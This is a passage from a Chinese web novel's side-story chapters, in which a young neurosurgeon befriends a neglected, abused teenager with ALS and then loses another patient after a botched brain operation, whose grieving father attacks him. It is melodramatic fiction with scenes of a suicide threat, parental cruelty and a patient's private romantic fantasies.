郁瑟理解地点点头,语重心长地说:“学业固然重要,但身体才是革命的本钱。你现在最重要的是养好身体,论文的事可以慢慢来。” 牧野点了点头,眼中闪烁着莹亮的光芒,似乎与郁瑟的近距离接触,能让他的情绪更加好些。 两人聊了一会儿,郁瑟见牧野的精神状态还不错,便放心地离开了病房。 刚走到住院部的长廊中央,就看到几个护士不停小跑着,一边跑一边小声交流着。 “特护病房的那个病患又开始折腾了?!” “啊呀,真是有钱人家的小少爷,既然这么挑剔,干什么不到国外去住院,偏来折腾我们?!” “快去通知陈主任!” 郁瑟停下脚步,微微皱眉,侧耳倾听着护士们的对话。他心中暗自思量,特护病房的病患大多身份尊贵,平时医护人员都是小心翼翼侍候着,怎么今日会这般吵闹? 他心中有疑惑,也跟着一起去神经内科的病房看一眼。 特护病房的位置一般要比其他病房的楼层位置要高,而且环境幽静,护理周到。 郁瑟心中暗自揣测,那位病患究竟是何方神圣,竟能让平时训练有素的医护人员都感到棘手。 特护病房的大门正敞开着,刚才路过郁瑟的护士完全被吓坏了,纷纷堆在病房门口,一点也不敢走进去的样子。 “让一让,”郁瑟的到来仿佛叫女孩子们换了一口气,“我来看一下是怎么了?” 于是,郁瑟就从比一般病房更加敞亮的屋子里,看见一个浑身纤细瘦弱的男生,正坐在窗户间。 这里的楼层有17层!! 男生坐在窗户间,翻滚的风潮将他那身明显宽大的病号服吹得猎猎作响。 然而,却一点也无损于对方好看清瘦的面颊骨。 男生怀里抱着一只纯黑色的高级缅因猫,又黑又长的发丝遮住半张脸的位置,能看出是一个傲慢又无礼的孩子,淡肉色的嘴唇里缓缓吐露出一句与年龄不符的调侃。 “我花了五个小时才从病床上爬到这里,谁敢过来,我就立刻跳下去。” 不知是不是错觉。 郁瑟感觉他那风中凌乱的发丝中央,隐藏着幽暗且翠绿的亮光,时明时暗。 像一只蓄满毒液的冷血动物,优雅又嗜血地从暗处来欣赏着医生与护士们的慌张。 他一定拿我们当作一群蠢货来看待。 郁瑟的第一个念头,便是如此。 第98章 小番外(2)——渐冻症 不想看的亲亲…… 郁瑟回头对身边的几位护士说道, “放心吧,这个目前死不了的。” 假若真的想结束生命的话,完全不用等到人都赶到, 刚爬上去就该往下栽了。 而且, 也不会专门抱着猫。 郁瑟的话听起来十分坚定,不过几个护士都是得到命令后必须要严格照料这位年轻的病患的,一时间还不敢随便走开。 结果坐在窗台间的少年冷嗤一声, 坐在他怀里的缅因猫原本便长相凶恶, 此刻更是直接从怀里跳下来,朝着一众女生露出尖牙, 发出低沉的咆哮声, 仿佛也在为少年的不屑做注解。 护士们被无情驱赶,纷纷觑向郁瑟, 郁瑟淡淡地点了头, 几人这才不情不愿地离开了病房。 不过走得距离并不远,依旧是等在走廊里。 少年的眼神冷漠而疏离,即便纵猫行凶, 也未曾有过丝毫的慌乱与恐惧。 直到那只黑猫圆满地完成任务, 重新跳入他的怀抱,宛若一道玄黑色的影子,行云流水极了。 男生立即轻轻抚摸着缅因猫的背脊,那动作中透露出一种难以言喻的默契与信任。 郁瑟是唯一没有被驱赶的人, 但不代表他在这间屋子里拥有特殊的权利。 郁瑟一向冷静支持, 又从骨子里充满着伸张正义的气息。 轻声开口, 声音不高,却足以让整个病房内的气氛为之一凝:“我理解你对自由的渴望,以及对周围环境的戒备, 但医院有医院的规矩,我们每个人都必须遵守。” 少年闻言,微微侧头,那双冷漠的眸子隐藏在厚重的刘海之下,似乎是在评估郁瑟话语中的分量。 郁瑟见状,继续道:“你的病情需要静养,而这些护士,她们只是尽忠职守,想要帮助你更好地恢复。我希望你能理解这一点,至少,在医院的这段时间里,给予她们应有的尊重。” “尤其,她们还都是女孩子。” 少年立刻轻笑了,“刚才我还觉得你是个聪明的。” “现在却觉得是个一样的蠢货。”那幽暗翠绿的亮光在发丝间若隐若现,仿佛真的有一种神秘的力量在暗中衡量着一切。 这个孩子今年多大?居然这么顽劣?! 郁瑟刚进医院工作一年多,多少也见了一些难缠的病人,心里判断着这个小孩子之所以会变得扭曲的原因。 看来是得了什么不治之症的样子。 其实这个病房完全不属于他管理,但是身为医生,又不可能真的将人抛开不管。 所以,郁瑟留下了,安安静静地一句话也不讲。 这反倒引起少年的注意。 但凡进入这间屋子里的人,只会有两种目的。 一种是慢慢地等着他的死亡。 一种是想要从他这里得到些什么。 而郁瑟,显然不属于这两者中的任何一个。 他静静地站在那里,不言不语,仿佛只是单纯地在观察。 这让少年感到好奇,要知道,在以往,任何试图接近他的人,都是带着目的,或是贪婪,或是同情。 但郁瑟的眼神里,什么都没有。 这种纯粹的无目的,反而让少年有了一丝兴趣。 少年故意道,“我都说你愚蠢了,难道你还不离开,等着更难听的?” 郁瑟深吸一口气,努力让自己保持冷静。 他知道,面对这样的患者,任何过激的行为都可能引发不可预知的后果。 于是,他缓缓开口,声音竭力温和着:“我看你的猫不错,很少有人能把猫养得这样有灵性。” 他开始从另一个角度来进行谈话,总好比纠缠着那句“愚蠢”来争辩要强。 少年更是意外了。 但凡进入这间病房的人,都是一脸的冷静严肃与告诫:不准做不允许的事情,不准吃这个吃那个,好像他们比病人自己还要清楚病人的身体状况。 更不要谈,诺大的三甲级医院里居然能同意病患随身携带宠物,招惹非议。 但郁瑟,却在夸奖他的猫。 这让少年微微皱眉,但随即嘴角却勾起了一抹病态的笑。 他已经不能大幅度地移动很久了,唯一只能轻微地将猫抱在怀里,眼神中带着一丝挑衅:“哦?那医生你觉得,我的猫哪里灵性了?” 郁瑟见状,心中微松,知道至少自己已成功引起了少年的兴趣,这第一步,算是走对了。 他走近几步,仔细看了看猫,然后笑道:“你看它的眼睛,清澈而明亮,仿佛能洞察人心。而且,它对你也极为依赖,这说明它很有灵性,知道谁是真正对它好的人。” 少年听了,嘴角的笑意更甚。 他似乎很久没有听到过这样真诚而温暖的夸奖了,尤其是在关于他的猫的事情上。 要知道,连他的父母都因为忙碌而忽略了他。 例如他的德国血统母亲,已经怀上了不知道是弟弟还是妹妹的东西,准备等他前脚一死,立刻就能填补上家庭成员的空缺席位。 郁瑟看着少年的变化,心中更加确定了自己的判断。 这个少年,虽然表面冷漠且带刺,但内心却渴望被理解和关注。 对于他来讲,任何一个小小的注视,都会引发其内心真正地渴望。 所以郁瑟的心软了软,既保持着礼貌的距离,又不失关心地与这个少年聊了几句。 对于医生来讲,时间也是分外宝贵的,不过郁瑟也没有特别地催着他赶紧下来。 直到VIP病房门口又重新出现了几个人,其中一个身材高大的英俊男士,更是在看见眼前的场景时,当场爆喝道。 “里斯!!你究竟想怎么样?!难道你惹得麻烦还不够多吗?!” 坐在窗台间的少年浑身一僵,那个高大的男人已经冲过来,一把扯开碍事的郁瑟。 “这位先生,他!!”郁瑟刚想说两句,直接被其他几个人给拦住,其中一位正是神经内科的专家董志昌。 这位专家一把拽住郁瑟的白袍,将他这个年轻医生给拖了出门。 身后的病房门也随即关紧。 郁瑟说,“他!” “他什么他?”董志昌凭着年长语气不善,“你是不是闲事管的太宽了?” “这是什么病房?神经内科的住院病房,你个区区的脑外科医生,跑到这里来凑什么热闹?”董志昌不满地瞥了郁瑟一眼,似乎对年轻医生的越界行为感到十分不悦。 郁瑟被说得一时语塞,他确实是因为对那个少年的情况有些好奇,才不自觉地多管闲事。但此刻面对董志昌的质问,他也只能无奈地反驳。 “对比起刚才那个孩子,我感觉刚才进屋的那个男人才情绪不够正常。”郁瑟试图解释,“他怎么能对着坐在窗户外的孩子,说出那么冷酷的话来……” “那位是孩子的亲生父亲,人家教育自己家的孩子,用什么样的方法都是对的。” 董志昌立刻打断他的建议,“你信不信我现在就给王庆林打个电话,问他是怎么教育你的?” “你一个脑外的把闲事都管道我的头上了,我现在就可以警告你,假如我经手的病人出了什么意外,你这辈子就不要想在医院继续干下去了!” “滚蛋!”董志昌瞪了他一眼,转身朝病房的方向走去。 病房里。 缅因猫发出一声凄厉的惨叫,少年已经被高大的身影包围,狠狠地推到了病房冰冷的地面间。 因为肌肉的萎缩,他没能及时用双手撑住地面,而是一头重重地磕在地面,将额头磕破,鲜血立刻染红了地面。 少年痛苦地蜷缩起身子,缅因猫在一旁焦急地喵喵叫着,似乎想要上前安慰,却又因为害怕而不敢靠近。 男人冷漠地站在少年的上方,残酷的阴影像是一道无法穿越的铜墙铁壁,阴恻恻地告诫说,“为什么不往下跳,你这个懦夫!假如你真的敢往下跳的话,我和你妈妈就都可以早早解脱了,不是吗?” 叫做里斯的少年完全没有翻身的力气,因为突然从高处跌落,引起的肌束震颤,使得他整个人抖如筛糠,甚至连呼吸也极其糟糕。 “不要死” “不要死” 或许,他也是想死的,但是被亲生父亲如此冷酷地对待,被亲生母亲长期地无视,反倒叫他生出一丝扭曲的求生欲。 他要继续活着,像一颗又臭又硬,锈迹斑斑的铁锚,将所有该死的人,全部拽进极度深渊之中。 不能我一个人死,起码,要让活着的人更加痛苦。 男人一把将瘦成一把骨头的少年从地面拽起来,一把丢到病床上。 如此粗鲁的动作,完全没有顾及到对方的新伤口,包括他整个人的不适感,统统当作没有的事。 男人抽出一张纸巾,擦了擦自己的每一根手指,他的身上穿着意大利高级定制西装,俨然上位者的姿态,居高临下道,“现在还不是你死的时候,所以以后,不准在随便爬上窗台,懂吗?” 里斯的呼吸断断续续,额头的血流已经将他的眼帘渲染成红色。 啊,废物。 为什么会生出一坨完全不能动弹的废物呢? 男人完全不能看他的脸,直接别开眼神的对接。 他的头生子像他的妻子一样,拥有俊美妖冶的外貌,以及碧玉般粹亮的宝石眸子。 原本,这个孩子获得了家族长辈们的一致起来,他也能跟着这个孩子一起受到家族的重视,成为未来家族的掌权者的。 现在,所有的希望都变成笑话。 他变成软如脓、烂如酱的废物了。 男人拉开病房之间的门,对守在门口的董志昌道,“去给他处理得干净一点。” 还有。 “下次等他真的死了以后,再这样火急火燎地给我打电话,催我过来。” 董志昌从心底不由地咂了咂舌。 人人都向往豪门,但实际上,豪门的冷酷才是平常人最无法理解的吧. 郁瑟回去之后一直心神不宁的,虽说他擅自插手了其他医生的事情,确实有错,可是当时情况紧急,他以病患为先的做法,绝对称不上犯错。 而且。 那个看起来像是西装禽兽的男人进屋之后,他冥冥中听见了闷重的打击声。 郁瑟越想越觉得可疑,在好奇心和责任感的双重趋势下,又偷偷地来到了VIP病房门口。 反被值班的小护士给拦了下来。 小护士像是知道他会再次返回似的,双手合十求道,“我的好郁医生,你就不要再过来了,今天你走了,我们被董主任好一通骂。” 郁瑟只能先道歉,并且表示灰请护士站的女生喝奶茶。 那个小护士知道郁瑟的,毕竟是脑外的冉冉新星,将来在医院要大有前途的。 她就稍微给郁瑟透露了一点私人信息。 “那个孩子叫里斯,好像是中德混血儿,渐冻症患者,在这儿已经治疗了三年了,现在已经肌肉萎缩的厉害,基本不能动了。” “今天他爸爸来过之后,咽喉部的肌肉好像又恶化了些,连说话都变得十分困难。人家不缺钱,早请了好几个国内外知名的专家,但对这个孩子的病都束手无策。” “哎,真是可怜啊,从15岁住进来,已经18岁,就要受这样的罪。”小护士叹了口气,眼中满是同情。 “大概是走不出咱们医院了。” 郁瑟立刻问道,“那,孩子住了这么久的医院,他的家人” “天啊,”小护士叫他快点闭嘴,“人家有权有势的,现在唯一做的就是,吊住孩子的命而已。” “郁医生,咱们都知道,有些事情只能尽心,尽不了力啊。” 屋里躺着的少年完全睡不着,浑身的僵硬与疼痛,早已经将他折磨到麻木的程度。 包括父母的冷血无情,也早已经使他习惯。 他能活到现在,全靠进口药物以及先进的医疗设备维持着脆弱的生命。 但即便是在这样的条件下,少年的心中仍旧存有一丝不灭的火焰,那就是仇恨。 他一定要尽可能得多活几年,将那两个无情的家伙折磨得比自己更加狼狈。 “伊尔曼,”里斯小声地呼唤着缅因猫的名字,因为突然的咽喉肌僵硬,他的说话已经变得脆弱不堪,甚至有模糊不清地趋势,“乖猫猫,过来陪陪我。” 第99章 小番外(3)——白月光 可以跳过…… 对于郁瑟来讲, 这一次的偶然仅仅是一段插曲,虽然这段插曲给人的感受颇为不妙,但他也确实无法干涉其他科室的病患。 他还是照例跟着王主任, 每天到脑外科的病房查房, 仔细聆听王主任对每个病人病情的分析和治疗方案的讲解。 日子似乎是在照旧。 然而,日子真的是在照旧吗? 肯定是有点不一样的地方存在的。 对于医院里的每一位医生来讲,终身的必修课就是在面对生死之间, 能够保持坦然与冷静, 这样才可以更好地引导家属们接受现实的打击。 也或者说是麻木。 郁瑟工作的一年多里也见惯了生老病死,尤其脑外科一般人都不看, 进脑外科的病人多是九死一生, 每个病例都是硬仗。 脑外科不同于普通门诊,收治的多是颅脑损伤、脑肿瘤晚期等危重病例。患者往往命悬一线, 医生需要立即判断处置, 手术台上更是生死攸关。 即便如此,郁瑟依旧从内心来讲,堵着一口气, 以至于他每次查房时, 总是不经意将心思延伸去十七楼的VIP病房。 这种咽有咽不下去,吐又吐不出来的感觉真心难受极了。 所以,郁瑟逃跑了,找准了时机, 一头扎进了医院专门修建的小花园里。 那里种植着各式各样的花草, 郁郁葱葱, 生机勃勃,仿佛与医院内紧张压抑的氛围隔绝开来。 尤其,种植了许多白玉兰花树, 是郁瑟最为喜爱的一种花植。 他坐在一张长椅上,闭上眼睛,深深地吸了一白玉兰的花香,试图将心中的那股闷气排解出去。 就在这时,一阵风吹过,带来了几片白玉兰花瓣,轻轻飘落在他的肩头。 郁瑟睁开眼,望着这片被绿色包围的小天地间,有一只高贵且淡漠的小黑猫,端正地坐在他面前半米距离的位置。 那个少年的缅因猫! 这一新的发现令郁瑟感到前所未有的欣喜,不过缅因猫则全然不同,用一张霸道总裁惯有的冷漠脸庞,直勾勾地盯着他。 那双金色的眼眸仿佛能看穿人心底最深的秘密。 郁瑟伸出手,试图与它打招呼,缅因猫却只是轻轻偏了偏头,继续保持那份高傲的姿态。 他笑了,心中那股闷气竟奇迹般地消散了许多。 这只小猫,就像是从另一个世界穿越而来,带着一种不可言喻的魔力,让人不由自主地想要靠近。 郁瑟想起那个病弱异常却不愿被病魔打倒的少年,心中不禁生出几分恋爱。 所以他稍微摸了一下白袍的衣兜,很好,从口袋里掏出一袋预防低血糖的小饼干。 郁瑟尝试着将小饼干放在手心,蹲下身递到小黑猫面前,谄媚道,“咪咪,要不要吃?” 小黑猫依旧一脸的霸总冷漠,完全没有一点 要搭理他的意思。 但那小鼻子却轻轻动了动,似乎被那饼干的香气所吸引。 郁瑟见状,心中一喜,又往前递了递,朝缅因猫笑着说:“原来霸总猫也是会吃人间的食物的嘛!” 小黑猫终于有了些微的反应,金色的眼眸微微眯起,似乎在考量着眼前的“食物”是否值得它屈尊降贵。 似乎犹豫了半秒钟。 缅因猫伸出一只猫爪,将郁瑟的手从面前拨开,而后慵懒地走到他的双腿之间,喵喵地叫了两声。 郁瑟完全没想到,这只小黑猫居然会朝他叫嘢。 直接将手心的饼干倒进自己嘴里,擦干净掌心,伸出双手将小黑猫抱进怀里。 缅因猫的毛发蓬松而柔软,散发出淡淡的奶香味,让郁瑟不禁深吸一口气,享受这突如其来的温馨时刻。 他轻轻抚摸着缅因猫顺滑的背脊,感受着对方体温透过毛发传来的温暖。小黑猫完全不认生似的在他怀里找了个舒适的位置,半眯着眼,似乎也在享受这份难得的安宁。 郁瑟心中涌起一股莫名的满足感,他从未想过,一只看似高傲冷漠的小黑猫,竟能如此轻易地触动他的心弦。 郁瑟将小黑猫抱回了十七层的楼道,给人送到了路口,却没有办法送进屋里去。 郁瑟朝小黑猫轻声叮嘱了一句,“不要在外面太贪玩了,多陪陪你的小主人哦。” 缅因猫像是听懂了似的,刚一松手,立刻跑得无影无踪。 里斯正在病房里生气,因为一睁开后,他的小猫居然不见了。 想想也是可怜的。 他现在生命中最重要的,居然不是父母亲人,而是一只小猫。 在听见小黑猫的叫声后,里斯气恼的情绪立刻转变为责备,等小黑猫跳进怀里,不停地用毛茸茸的脑袋蹭着他的下颌时。 里斯又变成宠溺的心情,艰难地说道,“伊尔曼,外面的阳光很好吗?” 是的。 伊尔曼的毛发间能嗅到充沛的阳光味道,以及一丝丝白玉兰馥郁的清香。 “看来你真是去了不少地方。” 里斯根本不羡慕它,真的一点都不羡慕伊尔曼,可以在阳光下穿梭,随便能去哪里,享受自由。 他自己却像是被囚禁在这小小的病房里,失去了所有的色彩和活力。 伊尔曼的陪伴,就像是一缕温暖的阳光,穿透了病房的阴霾,照亮了里斯的心房。 他努力用仅能动的几根手指,轻轻地抚摸着伊尔曼的背脊。 却意外发现伊尔曼的背脊间,系着一张小纸条。 是很小心地用透明胶带黏贴上去的。 纸条很小,上面用极其漂亮的钢笔写着:“里斯,加油!春天和阳光都在等你。” 简单的话语,却如同一根微不足道的小铁钉,跌落在他封固万年的冰冷堡垒之外。 作用微乎其微,里斯甚至觉得,害他用了半个小时,才看清纸条间的几个字。 真是浪费时间! 愚蠢至极! 结果第二天,他的小黑猫又带回来了一张新的纸条。 原本,他是准备用手指拨开的。 不过,里斯耗费了十几分钟时间,累得险些引发气管痉挛,才像一个什么都不懂的婴孩一般,利用僵硬的手指拨开了纸条。 上面写着:加油,里斯!今天的阳光依旧明媚,窗外的世界正等着你去探索。 如果只是一两次的留言,恐怕也没什么值得谈的。 然而一整个月,陌生的纸条都会如期传来。 三年了,能跟他说话的人完全没有几个,更不要说鼓励的言辞。 这些简单的话语,逐渐如同细微的暖流,悄悄地渗透进里斯的心田。 伊尔曼的每一次外出归来,都像是带着一束光,照亮了他灰暗的世界,而那些纸条,就像是来自远方的信使,传递着温暖和鼓励。 里斯开始期待每一天的到来,期待伊尔曼能带给他新的惊喜和力量。 直到有一天,里斯对帮他清理身体的特护说道,“我想去外面走走。” 他已经三年没有主动要求出去了。 其实也不尽然,在他的病症还没有如此严重时,里斯也曾尝试着借助双拐走出医院大楼。 可惜他摔得很惨,帮助他的人也被父亲统统换掉。 作为家族的弃子,完全没有必要出来丢人现眼,只要乖乖等死就好。 可是,谁曾想,里斯在15岁之前,是学校的风云人物,是运动场的健儿,同样也是家族认可的优秀继承人。 现在,一切万籁如同灰烬。随意的一场细风,都能将他吹得神魂俱灭。 里斯使用了两天的绝食抗议,终于换取了护工的勉强同意,毕竟支付工资的人并不同意这件事情。 护工用轮椅将他小心翼翼地运下楼去,并且用一切可以隐藏的方式,将骨瘦如柴的18岁少年伪装成形容枯槁的老头子。 而里斯则是小心翼翼地控制着流淌进咽喉的空气,长时间的坐姿会令他如同坐在油锅之上,包括长时间不曾接触的阳光,会造成眼睛的剧烈不适。 可他还是出来的,感觉像是冒着一场全新的生命风险。 世界还是那个世界,他还是那个他。 里斯的不适感很快翻涌而上,呼吸的空气也宛若刀子一般,在狠辣地划割着他的咽喉。 只要 只要稍微看一眼那个人 里斯像一滩肉泥一般,被护工快速地搬运着,一双比肌肉稍微灵活的眼,能竭力地打量四周的动静。 他现在,也只有眼睛是活着的了。 在医院的小花园里,他第一眼便看到了他那只傲娇的小黑猫。 伊尔曼是一只血统纯正的高贵猫,从不肯从陌生人的手中接取食物的。 而此刻。 他的伊尔曼则像一只活脱脱地野猫,毫无教养地躺在人类的双膝间撒娇打滚。 不得不承认,这一点最开始是非常令他嫉妒的,觉得小猫背叛了自己。 然而。 当他的眼神投向抱着伊尔曼的男人身上时。 里斯的嫉妒又变成了另一个角度。 郁瑟穿着雪白无垢的长袍,像一株优雅的白玉兰花,静静地坐在花园的长椅上,阳光透过树叶的缝隙,斑驳地洒在他的身上,为他镀上了一层淡淡的金辉。他的面容温和而宁静,系在领口的纽扣松开两颗,露出里面发白的肌肤,和流畅的脖颈线条。 笑容细腻得像是天使一般。 原来是他。 里斯心底的情绪蓦然膨胀,是一种陌生的,前所未有的,混杂着锋利与柔软的极度矛盾的情感。 他看到郁瑟轻轻抚摸着伊尔曼的毛发,那温柔的模样,仿佛对待的是世间最珍贵的宝物。伊尔曼则在郁瑟的膝上发出满足的咕噜声。 是偷走伊尔曼的小偷! 但是同时,也似乎偷走了其他的东西。 护工小声问他:“要过去吗?” 因为他看见了小少爷养的缅因猫。 过去。 过去。 过去。 里斯忽然慌张起来,如同是被开水烫到了一样,耳根子红得厉害,连肌束也震颤得毫无预兆,仿佛加重了病情一般。 “回回去!” 里斯突然像是失去了全部的气力,唯恐被月光烫伤似的,情绪激动极了。 ——不能让对方看见自己。 这样的自己。 里斯的心里,只有一个念头。 第100章 小番外(4)——意淫 可以跳过不看…… 从此之后, 郁瑟便被盯上了。 里斯也不知道自己究竟是着了什么魔障,从来不曾专注于某件事的人,忽然偏执起来, 总是想偷偷地多看一眼。 可能正是因为这一偷窥的举动, 他也愈发了解到了郁医生的好。 郁医生总是对待每一个病人都极其耐心,无论病情轻重,他都会认真倾听, 细致解答。 郁医生的笑容永远不会戴着医生的高冷面罩, 总是发自真心地温暖着每一个病患的心。郁医生是医院里一道独特的风景线,人长得又很好看, 脾气也好。 写字也漂亮。 每日一张的小纸条被里斯耐心地收集了起来, 他都不知道自己为什么会突然有了收集物品的习惯,只是每当无人问津的时候, 他总能花费几个小时, 用僵硬的手指去抚摸纸条间平面的文字。 仿佛这些字迹已然在心底、脑海间变成鲜明的人影,一遍遍地向他诉说着那些温柔的话语。 直到某天。 他看到了郁医生陪着一个很年轻的男生坐在病房里谈心。 那个男生一看便是身患重病,整个人的精神状态并不很好, 双颊枯瘦无光, 感觉命不久矣的模样。 里斯第一次认真地照了镜子,其实他的气色也并不比那个男生好到哪里去。 长期的孤独和自我封闭,让他的眼神空洞,脸色苍白, 仿佛一个行走的幽灵。 他看着镜中的自己, 突然意识到, 自己现在这种举动十分异常。 笑死,两个病入膏肓命不久矣的人,居然还在互相羡慕? 还是嫉妒? 为什么嫉妒?这是一种什么奇怪的情感在作祟?! 里斯摇了摇头, 试图将这些荒谬的想法从脑海中驱逐出去。 他的肌肉已经快要萎缩得不能自理,连摇头这样简单的动作都做得十分吃力。 为什么同样僵硬无感的心脏,却像是注入了异常的活力,随时处于一种莫名的亢奋状态? 难道他的病更加严重,差不多该死了? 郁瑟不禁打了两个喷嚏,病床上躺着的牧野有些好奇道,“这是谁在想你吗?” 郁瑟弯唇笑了,“你一个小孩子,没想到还挺迷信的。” 牧野正在进行最后的身体检查,以确保明天能够顺利地登上手术台。 牧野的双手不由得蜷缩成两个拳头,手背间的青筋不停地扭转。 郁瑟善于观察病患的细微动作,同样伸出手紧握住他的右手,眼神流露出无比的宽慰。 “放心吧,你的病情我们已经反复研究过很多次,确定非常符合你现在的身体状况。” “手术的成功率很高,你只需放松心情,安心等待手术就好。” 郁瑟不断用自己的话语为牧野带去一丝安宁。 牧野的手在他的掌心微微颤抖,似乎是在无声地诉说着内心的恐惧与不安。 但郁瑟没有松开,反而握得更紧了一些,仿佛要将自己的勇气和力量通过这简单的肢体接触传递给对方。 “我知道你心里害怕,但请相信我们,也相信你自己。你一定能够战胜病魔,重新站起来。”牧野看着郁瑟,那双眼睛充满自信,仿佛从不会对自己的实力产生质疑。 牧野的脸微不可查的红了起来,有些不好意思与郁瑟对望。 其实,在他的电脑里,存着许许多多关于描述两人密切互动的文字。 牧野原本不是一个喜欢将情绪发泄在文字间的人,而且他也不知自己为什么会对男人产生性.欲。 可能头实在是太疼了,脑子每天都像是刀子切割一般似的。 假如不做出点什么事情,来转移自己的注意力的话,有可能他也忍不到做手术的最后一天。 郁瑟淡然地陪着他,安慰着他,冥冥中叫牧野 感到一种前所未有的安心。 他开始幻想,假如自己能从手术台上顺利下来,可能他会试着追求一下郁医生。 这样好的男人,娶回家做老婆简直再好不过了。 尤其,郁医生看起来禁欲得很,一副从来没有谈过恋爱的模样,像一株干净的,含满蜜汁的花苞,一点有没有被人随意采撷过的矜持感。 确实很容易激发弄乱他的念头。 试想郁瑟穿着凌乱的白袍,可怜兮兮地坐在身上求饶的模样。 牧野:“” 不行,他每天晚上疼痛难忍,所写的每一个词语都充斥着血与肉、欲与灵的赤.裸.裸描写,早已经将他的身体变得敏感又扭曲。 只有疯狂意.淫瑟瑟的时候,他才仿佛能从充满病痛的躯壳中跳脱出来,彻底陷入病态的梦幻中。 郁瑟并不知道,自己早已经成为某人意.淫的男主角了。 他以为牧野的紧绷只是因为马上要上手术台了而已。 慢慢地抚慰道,“放心,我的师傅会跟着一起进入手术室,以从旁辅佐我,确保手术过程中你的安全。” 他的师傅正是脑外的主任王庆林。 100-110 第101章 小番外(5)——你等我来 可以跳过(…… 手术室内, 无影灯将术野切割成惨白的几何图形,郁瑟的指尖悬在患者颅骨掀开的骨窗边缘。 显微镜下,那颗胶质瘤像被血丝紧密缠绕的紫色葡萄, 表面早已经被蛛网般的血管包裹。 看来牧野的病情, 比想象中的要更加糟糕一些。 不过这样的“意外”,基本上属于预判的范畴之内。 "前交通动脉分支太密集,先做血管造影。"郁瑟的声线始终保持冷静, 正如他在所有人的称赞中那样, 天生拥有当医生的冷血气质,手指稳得像两把铁钳。 脑外主任, 也就是他的师傅王庆林突然按住他的手腕, 直接提示道,“造影剂会加重脑水肿。”又对护士说, “双极电凝。” “师傅, ”郁瑟看到师傅居然打算直接动手,不由得谨慎提示了一嘴,“患者颅内的前交通动脉分支太密集, 需要谨防有血管畸形的地方” 王庆林主任却没有回应他, 手法娴熟地接过双极电凝,调节到最小输出功率,稳稳地夹住了那颗瘤体旁边最为细小的一根动脉血管。 “患者的颅都开了,总不能什么都不做就缝回去吧?” 王庆林立刻透露出不容置疑的决断, 他相信自己绝对能够在这错综复杂的血管网络中, 找到最安全的路径。 郁瑟紧抿着唇, 目光紧紧跟随师傅的动作,心中的焦虑并未因师傅的镇定而有所缓解。 他知道,师傅的经验和技术都是顶尖的, 但面对如此复杂的病情,任何微小的失误都可能导致不可挽回的后果。 然而,王庆林主任却仿佛胸有成竹,他的每一个动作都显得那么从容不迫。 那双极电凝在他的手中,就像是一件精密的艺术品,被巧妙地运用在瘤体旁最为细小的动脉血管上,精准地切割、止血。 随着瘤体周围的一根根血管被小心翼翼地处理掉,那颗被血丝紧密缠绕的紫色葡萄终于逐渐显露了出来。 郁瑟的心跳也随之加速,他知道,最关键的一步即将到来。 王庆林主任深吸了一口气,再次调节了双极电凝的输出功率,然后稳稳地将镊子伸向那颗瘤体。 在这一刻,整个手术室内的空气仿佛都凝固了,所有人都屏息以待。” “嘀——” 监护仪发出轻微的警报声,屏幕上的数字开始跳跃。 焦糊味炸开的瞬间,监护仪突然发出刺耳的警报,鲜血如同爆裂的输水管从剥离面喷射而出,溅在显微镜目镜上形成猩红的星芒。 "郁瑟!"王庆林的护目镜后迸出寒光,"止血钳快上!" 郁瑟早像是提防似的,手里的止血钳在血泊中精准夹住破裂的豆纹动脉,喷涌的血柱立刻变成细流 经历了近十个小时的手术终于结束了,郁瑟和王庆林都显得精疲力尽,尤其是郁瑟,看着被顺利推出手术室的牧野,内心深处总是有种说不出的感觉。 王庆林完全没有他这种情绪,而是用手拍了拍他的肩膀,言道,“年轻人,你的操作是完美无缺的,不过不要总是死板教条,随机应变也是很重要的。” 郁瑟勉强地嗯了一声。 直到半夜,郁瑟在值班室小憩,特护病房的护士冲进来,激烈的动作直接将他吵醒。 “郁医生,病人的情况突然恶化,颅内压急剧升高,出现剧烈头痛、呕吐等症状,必须立刻进行二次手术!” 郁瑟也不知道自己又拼命地在手术台上奋斗了多少个小时。 可是这一次牧野的情况很不好,送去重症监护室硬撑了一个星期,最后还是离开了人世。 郁瑟站在重症监护室的窗外,看着被白布遮盖的牧野,心中五味杂陈。 他仔细地回忆起手术中的每一个细节,每一个操作。 其实,如果更谨慎一些,完全不会有任何血管破裂的情况发生的!! 师傅 不不。 郁瑟在看到病患僵硬的尸体之后,又忽然觉得似乎只是自己的问题。 前几天还忍着病痛,将双手交递给他的人,今天却已经彻底失去了生命。 这是他的过错。 郁瑟冷静的情绪被搅扰成一团浑浊,清醒的理智被残酷的现实根根剪断。 他开始不断地责怪自己,为什么没有早点发现病患的异常,为什么没有做出更准确的判断。 自从牧野死了之后,王庆林也恰好被医院派去外出学习,临走前还特意给他打了一个电话,叫他多想开一点,毕竟颅内海绵状血管瘤的成功率是百分之七十,还有百分之三十的意外难以避免,更何况对方的家属已经签过字的。 “医生又不是神仙,我们也不能确保每一个病人都能救活。” 这句话在郁瑟的脑海中不断回响,像是谁的自我安慰,又像是冰冷的现实在嘲讽他的无能为力。 牧野的家庭情况很好,他又是家里的独子,是一家人宠爱的宝贝,他的离世对家人来说无疑是巨大的打击。 父母年迈,白发人送黑发人,那份悲痛难以言表。 牧野的妈妈悲痛欲绝,整日以泪洗面,精神状态也不好。 儿子的去世,外加妻子的痛楚,使得牧野的父亲从极度的悲伤中变成怒火中烧。 在牧野刚刚去世半个月后,郁瑟正在办公室里整理病例资料,突然接到了一通电话,是牧野的父亲打来的。 电话那头,牧野父亲的声音低沉而压抑,却透露出难以掩饰的愤怒与不满。 他质问郁瑟,为何没有救回他的儿子,为何在手术前没有将所有可能的风险一一告知。 郁瑟耐心地解释,手术的风险在术前谈话时都已详细说明,且牧野家属也已签字同意,但牧野父亲的情绪显然已经失控,他无法接受这个残酷的事实,更无法原谅郁瑟在他心中所谓的“失职”。 郁瑟只能耐心的安抚对方。 原本以为这只是一个小插曲。 哪知第二天,郁瑟在即将进入医院的瞬间,被人用一桶红色的油漆从背后泼了过来。 油漆顺着郁瑟的头发、衣服流淌下来,瞬间将他变成了一个“鲜血淋漓的人”。 周围的路人纷纷驻足,投来惊讶和同情的目光。 郁瑟当场便愣住了,他从未想过会遭遇这样的对待。 直到看清手里正提着油漆桶的人,正是牧野的父亲。 这个健壮稳重的中年男人,在儿子去世的短短一个月里,黑发变作华发,整个人的精神萎靡极了。 他提着脏污不堪的油漆桶,冲向郁瑟,不停地用手里的东西攻击着郁瑟。 郁瑟原本是能反抗几下的。 可是对方的话,叫他在一个瞬间完全不能乱动,如同定身魔法似的。 牧野父亲说,“你这样跟杀人凶手有什么不同?!” 